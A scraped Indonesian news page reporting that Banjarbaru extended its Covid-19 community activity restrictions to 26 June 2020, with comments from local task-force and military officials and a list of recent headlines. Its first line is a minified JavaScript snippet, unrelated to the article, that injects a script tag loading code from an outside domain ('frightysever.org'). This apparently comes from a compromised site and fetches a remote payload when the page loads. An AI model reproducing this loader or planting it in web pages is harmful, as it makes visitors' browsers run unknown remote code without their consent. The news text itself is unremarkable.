(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Sebaran Covid-19 Meningkat di Banjarbaru, Pembatasan Kegiatan Masyarakat Diperpanjang


KANALKALIMANTAN.COM, BANJARBARU – Upaya penanggulangan pandemi Covid-19 di kota Banjarbaru, melalui pemberlakuan Pembatasan Kegiatan Masyarakat (PKM) diputuskan untuk diperpanjang.

Awalnya, PKM hanya diberlakukan selama dua pekan, yakni dari 31 Mei hingga 13 Juni. Namun, Pemerintah Kota (Pemko) Banjarbaru mengambil kebijakan untuk memperpanjang masa pemberlakuan PKM.

Perpanjangan masa PKM ini tertuang dalam Surat Keputusan Wali Kota Banjarbaru Nomor 188.45/269/KUM/2020 tentang pemberlakuan pelaksanaan pembatasan kegiatan masyarakat dalam rangka percepatan penanganan Corona Virus Disease 2019.

Wakil Ketua Harian Gugus Tugas Percepatan Penanganan Covid-19 Kota Banjarbaru, Zaini Syahranie mengungkapkan alasan mengapa pemberlakuan PKM diperpanjang, lantaran melihat angka sebaran kasus Covid-19 yang terus meningkat.

“Kita sudah mengadakan rapat dan memutuskan untuk memperpanjang PKM hingga 26 Juni mendatang,” katanya kepada Kanalkalimantan, Senin (15/6/2020) siang.

Namun patut digarisbawahi, kata Zaini, pelaksanaan PKM yang diperpanjuang ini memiliki teknis yang berbeda dibandingkan dengan pelaksaan pada dua pekan lalu. Dalam hal ini, seluruh posko pemantuan telah dinon-aktifkan dan petugas diminta untuk secara langsung terjung ke lapangan mendisiplinkan masyarakat agar menaati protokol kesehatan Covid-19.

“Jadi tidak ada posko-posko lagi. Petugas akan bertindak mendisiplinkan masyarakat secara mobile,” lanjut Zaini.

Petugas dari TNI, Polri, Dishub Banjarbaru dan Satpol PP akan secara langsung memantau kondisi di tempat keramaian, seperti di pasar.

Dandim 1006/Martapura Letkol Arm Siswo Budiarto berharap pada PKM kedua ini kesadaran masyarakat terkait kedisplinan bisa lebih meningkat.  “Selain itu, aparat keamanan akan melaksanakan pengawasan pada tempat-tempat yang disinyalir belum melaksanakan protokol kesehatan,” bebernya. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

2 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

4 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

4 jam ago

Satpol PP Banjar Dapati 7 Penjual Anakan Ikan

KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More

5 jam ago

Kabupaten Banjar Raih Penghargaan dari Ombudsman

KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More

5 jam ago

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

17 jam ago

This website uses cookies.